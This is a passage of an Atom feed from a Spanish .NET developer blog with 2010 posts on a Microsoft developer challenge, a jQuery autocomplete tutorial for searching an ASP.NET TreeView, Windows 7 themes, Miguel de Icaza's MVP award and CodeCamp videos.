<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://geeks.ms/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang=""><title type="html">Marc Rubiño</title><subtitle type="html">ASP.NET, C#, AJAX.NET, JavaScript, etc.</subtitle><id>http://geeks.ms/blogs/mrubino/atom.aspx</id><link rel="alternate" type="text/html" href="http://geeks.ms/blogs/mrubino/default.aspx" /><link rel="self" type="application/atom+xml" href="http://geeks.ms/blogs/mrubino/atom.aspx" /><generator uri="http://communityserver.org" version="4.1.31106.3070">Community Server</generator><updated>2009-09-09T20:10:00Z</updated><entry><title>Vuelve el Reto !!!!</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/02/22/vuelve-el-reto.aspx" /><id>/blogs/mrubino/archive/2010/02/22/vuelve-el-reto.aspx</id><published>2010-02-22T09:45:51Z</published><updated>2010-02-22T09:45:51Z</updated><content type="html">&lt;p&gt;Como ya se avisó &lt;a href="http://geeks.ms/blogs/mrubino/archive/2009/12/06/191-eres-de-mente-despierta-net-minds.aspx"&gt;anteriormente&lt;/a&gt; hoy esta disponible el segundo reto de Net Minds, ya puedes acceder a la segunda prueba para conseguir tu subscripción Visual Studio Ultimate con MSDN Premium.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://msdn.microsoft.com/es-es/net_minds.aspx" href="http://msdn.microsoft.com/es-es/net_minds.aspx"&gt;http://msdn.microsoft.com/es-es/net_minds.aspx&lt;/a&gt;&lt;/p&gt;  &lt;h5&gt;&lt;/h5&gt;  &lt;p&gt;&lt;a href="http://msdn.microsoft.com/es-es/net_minds.aspx"&gt;&lt;img title="minds" height="270" alt="minds" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/minds_5F00_5FC629E7.png" width="454" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=167908" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author></entry><entry><title>Buscar en un TreeView con Autocomplete y JQuery</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/02/15/buscar-en-un-treeview-con-autocomplete-y-jquery.aspx" /><id>/blogs/mrubino/archive/2010/02/15/buscar-en-un-treeview-con-autocomplete-y-jquery.aspx</id><published>2010-02-15T21:45:00Z</published><updated>2010-02-15T21:45:00Z</updated><content type="html">&lt;p align="justify"&gt;Para que una aplicaci&amp;oacute;n web tenga un interfaz de usuario f&amp;aacute;cil de utilizar y facilitemos su usabilidad no hay m&amp;aacute;s remedio que pasar por un lenguaje script y por eso cada vez que tengo la oportunidad me gusta hacer alguna pr&amp;aacute;ctica con JavaScript y en este caso utilizando la librer&amp;iacute;a JQuery que facilita nos facilita mucho esta tarea.&lt;/p&gt;
&lt;p align="justify"&gt;La excusa que utilizo hoy para hacer este ejemplo es una petici&amp;oacute;n en los &lt;a href="http://social.msdn.microsoft.com/Forums/es-ES/netfxwebes/thread/5381308d-e550-4f1d-a3cb-74dfb7c5e7a8"&gt;foros MSDN&lt;/a&gt; para hacer una b&amp;uacute;squeda de texto en un TreeView y poder seleccionar posteriormente el nodo que coincida con esta selecci&amp;oacute;n.&lt;/p&gt;
&lt;p align="justify"&gt;Para esto voy a utilizar un plugin de Jquery que provee a los inputs la extensi&amp;oacute;n de mostrar un &lt;a href="http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/"&gt;autoComplete&lt;/a&gt; donde se mostraran los textos de los nodos que coincidan con el texto introducido en el input.&lt;/p&gt;
&lt;p align="justify"&gt;Para las referencias a las librer&amp;iacute;as Jquery utilizare &lt;a href="http://www.asp.net/ajaxlibrary/CDN.ashx"&gt;CDN&lt;/a&gt; para aprovechar sus &lt;a href="http://geeks.ms/blogs/gperez/archive/2010/01/02/microsoft-ajax-cdn-mejoras-de-rendimiento-a-considerar.aspx"&gt;beneficios&lt;/a&gt; y no tener obligatoriamente las librer&amp;iacute;as en nuestro proyecto.&lt;/p&gt;
&lt;p align="justify"&gt;Empecemos!!!&lt;/p&gt;
&lt;p align="justify"&gt;Crearemos un proyecto web que contendr&amp;aacute; una p&amp;aacute;gina aspx con un simple input html y un treeview que llenaremos con los mismos campos que piden en la consulta del foro.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_3A325F9F.png"&gt;&lt;img height="244" width="211" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_thumb_5F00_4C11841D.png" alt="image" border="0" title="image" style="border-right-width:0px;display:block;float:none;border-top-width:0px;border-bottom-width:0px;margin-left:auto;border-left-width:0px;margin-right:auto;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="justify"&gt;Lo &amp;uacute;nico que tenemos que tener en cuenta, es que necesitamos un identificador para el input y especificar un estilo al treeview que utilizaremos para localizar el control al cargar la p&amp;aacute;gina.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;input&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;id&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;example&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#c71585;"&gt;asp&lt;/span&gt;:&lt;span style="color:#800000;"&gt;TreeView&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;ID&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;TreeView1&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;runat&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;CssClass&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;TreeN&amp;quot;&lt;/span&gt;&lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;  &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;ParentNodeStyle&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;CssClass&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;ItemNodeTree&amp;quot;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Una vez preparada la p&amp;aacute;gina crearemos un fichero .JS donde pondremos nuestro c&amp;oacute;digo javaScript para darle la funcionalidad al ejemplo.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000;"&gt;script&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;src&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;JS/JScript.js&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;type&lt;/span&gt;=&lt;span style="color:#0000ff;"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt;&lt;span style="color:#0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Primera parte del script:&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;1.&lt;/strong&gt; Inicializar el autocomplet y cargar los datos del treeview.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;$(&lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;).ready(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; data = CargarDatos();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#example&lt;/span&gt;&amp;quot;).autocomplete(data, {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#008000;"&gt;//Texto a mostrar en el input&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        formatItem: &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;(item) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;            &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; item.text;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        }
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }).result(&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt;(event, item) {
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        &lt;span style="color:#008000;"&gt;//Identificador del Nodo&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        Seleccionar(item.id);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    });
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;});&lt;/pre&gt;
&lt;/pre&gt;
&lt;p align="justify"&gt;Al cargar la p&amp;aacute;gina llamamos a la funci&amp;oacute;n CargarDatos() que recorrer&amp;aacute; el treeView para retornar un array de objetos que contendr&amp;aacute;n el texto y el identificador de cada nodo. Cuando se lanza el evento al seleccionar el registro se llamar&amp;aacute; a la funci&amp;oacute;n Seleccionar pasando el identificador del nodo como par&amp;aacute;metro.&lt;/p&gt;
&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_1FF717DD.png"&gt;&lt;img height="157" width="350" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_thumb_5F00_4AD20CA0.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. CargarDatos&lt;/strong&gt; utiliza la potencia de los selectores de JQuery para seleccionar los nodos y llenar el array con la informaci&amp;oacute;n necesaria del nodo.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; CargarDatos() {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; treeN = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;.TreeN&lt;/span&gt;&amp;quot;);
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; items = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;Array&lt;/span&gt;();
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (treeN.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;){
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; nodo = $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot;+treeN[0].id + &amp;quot;&lt;span style="color:#8b0000;"&gt; td: a&lt;/span&gt;&amp;quot; );
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; index = 0; index &amp;lt; nodo.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; index++) {      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        items[index] = { text: nodo[index].innerText, id: nodo[index].id };      
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;      }      
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; items;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Seleccionar&lt;/strong&gt; selecciona el nodo del treeView y le asigna el estilo adecuado para resaltar el registro seleccionado.&lt;/p&gt;
&lt;pre style="border-bottom:#cecece 1px solid;border-left:#cecece 1px solid;padding-bottom:5px;background-color:#fbfbfb;min-height:40px;padding-left:5px;padding-right:5px;overflow:auto;border-top:#cecece 1px solid;border-right:#cecece 1px solid;padding-top:5px;"&gt;&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; Seleccionar(treeID) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#008000;"&gt;//Limpiamos los estilos seleccionados anteriormente&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; es = $(&amp;#39;.SelectedNodeTree&amp;#39;);
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; index = 0; index &amp;lt; es.&lt;span style="color:#0000ff;"&gt;length&lt;/span&gt;; index++) {
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;        es[index].className = &amp;quot;&lt;span style="color:#8b0000;"&gt;ItemNodeTree&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    }   
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    &lt;span style="color:#008000;"&gt;//Definimos el estilo seleccionado al item correcto&lt;/span&gt;
&lt;/pre&gt;
&lt;pre style="background-color:#ffffff;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;    $(&amp;quot;&lt;span style="color:#8b0000;"&gt;#&lt;/span&gt;&amp;quot; + treeID)[0].className = &amp;quot;&lt;span style="color:#8b0000;"&gt;SelectedNodeTree&lt;/span&gt;&amp;quot;;
&lt;/pre&gt;
&lt;pre style="background-color:#fbfbfb;margin:0em;width:100%;font-family:consolas,&amp;#39;Courier New&amp;#39;,courier,monospace;font-size:12px;"&gt;}&lt;/pre&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado final:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_2BB18071.png"&gt;&lt;img height="244" width="216" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_thumb_5F00_1DE1CB27.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_4A8D15B1.png"&gt;&lt;img height="244" width="206" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/image_5F00_thumb_5F00_60E2BAF6.png" alt="image" border="0" title="image" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Como pod&amp;eacute;is comprobar con tres simples funciones javaScript hemos dotado a nuestra aplicaci&amp;oacute;n una potente funcionalidad en el lado del cliente que mejora la experiencia de usuario y enriquece nuestras aplicaci&amp;oacute;n web.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aplicaci&amp;oacute;n&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/SearchTree.zip"&gt;&lt;strong&gt;&lt;img height="48" width="51" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" alt="images" border="0" title="images" /&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;CrossPosting &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=167457" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="javascript" scheme="http://geeks.ms/blogs/mrubino/archive/tags/javascript/default.aspx" /><category term="JQuery" scheme="http://geeks.ms/blogs/mrubino/archive/tags/JQuery/default.aspx" /></entry><entry><title>Personaliza tu Windows 7</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/02/05/personaliza-tu-windows-7.aspx" /><id>/blogs/mrubino/archive/2010/02/05/personaliza-tu-windows-7.aspx</id><published>2010-02-05T09:22:00Z</published><updated>2010-02-05T09:22:00Z</updated><content type="html">&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/0e2628bb0a5545d0b9bafac0a3650635_5F00_3C98BE08.jpg"&gt;&lt;img title="0e2628bb-0a55-45d0-b9ba-fac0a3650635" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin:0px 25px 0px 0px;border-right-width:0px;" height="142" alt="0e2628bb-0a55-45d0-b9ba-fac0a3650635" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/0e2628bb0a5545d0b9bafac0a3650635_5F00_thumb_5F00_064795F9.jpg" width="187" align="left" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Descarga gratis y personaliza tú Windows 7 con los nuevos Temas disponibles en la página de Microsoft.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://windows.microsoft.com/en-US/windows/downloads/personalize" href="http://windows.microsoft.com/en-US/windows/downloads/personalize"&gt;http://windows.microsoft.com/en-US/windows/downloads/personalize&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Dale a tú Windows 7 un toque personalizado ;-)&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=166711" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author></entry><entry><title>Miguel de Icaza nombrado MVP de C#</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/01/16/miguel-de-icaza-nombrado-mvp-de-c.aspx" /><id>/blogs/mrubino/archive/2010/01/16/miguel-de-icaza-nombrado-mvp-de-c.aspx</id><published>2010-01-16T17:48:00Z</published><updated>2010-01-16T17:48:00Z</updated><content type="html">&lt;p align="justify"&gt;&lt;a href="http://tirania.org/blog/archive/2010/Jan-11-1.html"&gt;&lt;img height="175" width="227" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/miguel_5F00_de_5F00_icaza_5F00_4EE76F26.jpg" align="right" alt="miguel_de_icaza" border="0" title="miguel_de_icaza" style="border-right-width:0px;margin:0px 0px 0px 30px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;Gracias a un comentario de mi amigo &lt;a target="_blank" href="http://geeks.ms/blogs/lfranco/"&gt;Luis Franco&lt;/a&gt; me he enterado que Microsoft ha premiado a &lt;a target="_blank" href="http://tirania.org/blog/archive/2010/Jan-11-1.html"&gt;Miguel de Icaza&lt;/a&gt; con el nombramiento MVP de C# por sus aportaciones a la comunidad. &lt;/p&gt;
&lt;p align="justify"&gt;Esta noticia va a dar mucho de que hablar con unos cuantos compa&amp;ntilde;eros linuxeros, con los que normalmente tenemos numerosas charlas sobre estos temas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Felicidades por el nombramiento !!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CrossPosting: &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=165121" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="Microsoft" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Microsoft/default.aspx" /></entry><entry><title>Los videos del CodeCamp 09 disponibles !!!</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2010/01/12/los-videos-del-codecamp-09-disponibles.aspx" /><id>/blogs/mrubino/archive/2010/01/12/los-videos-del-codecamp-09-disponibles.aspx</id><published>2010-01-11T23:14:00Z</published><updated>2010-01-11T23:14:00Z</updated><content type="html">&lt;p align="justify"&gt;Ya est&amp;aacute;n disponibles los videos de los tracks que se dieron en el CodeCamp Tarragona 09. Somos conscientes que no son de la calidad que podr&amp;iacute;amos desear, pero para la gente que no pudo asistir, es la posibilidad de disfrutar de este material.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/7823_5F00_1228816835324_5F00_1076168279_5F00_696286_5F00_3520989_5F00_n_5F00_6DC4EB91.jpg"&gt;&lt;img height="296" width="249" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/7823_5F00_1228816835324_5F00_1076168279_5F00_696286_5F00_3520989_5F00_n_5F00_thumb_5F00_5074B529.jpg" align="left" alt="7823_1228816835324_1076168279_696286_3520989_n" border="0" title="7823_1228816835324_1076168279_696286_3520989_n" style="border-right-width:0px;margin:0px 40px 0px 0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="left"&gt;Para ver los videos visita la web habilitada para ello &lt;a href="http://secondnug.blip.tv"&gt;http://secondnug.blip.tv&lt;/a&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="left"&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div align="left"&gt;Para acceder al material y a la informaci&amp;oacute;n de los eventos visita la web &lt;a href="http://codecamp.es" title="http://codecamp.es"&gt;http://codecamp.es&lt;/a&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
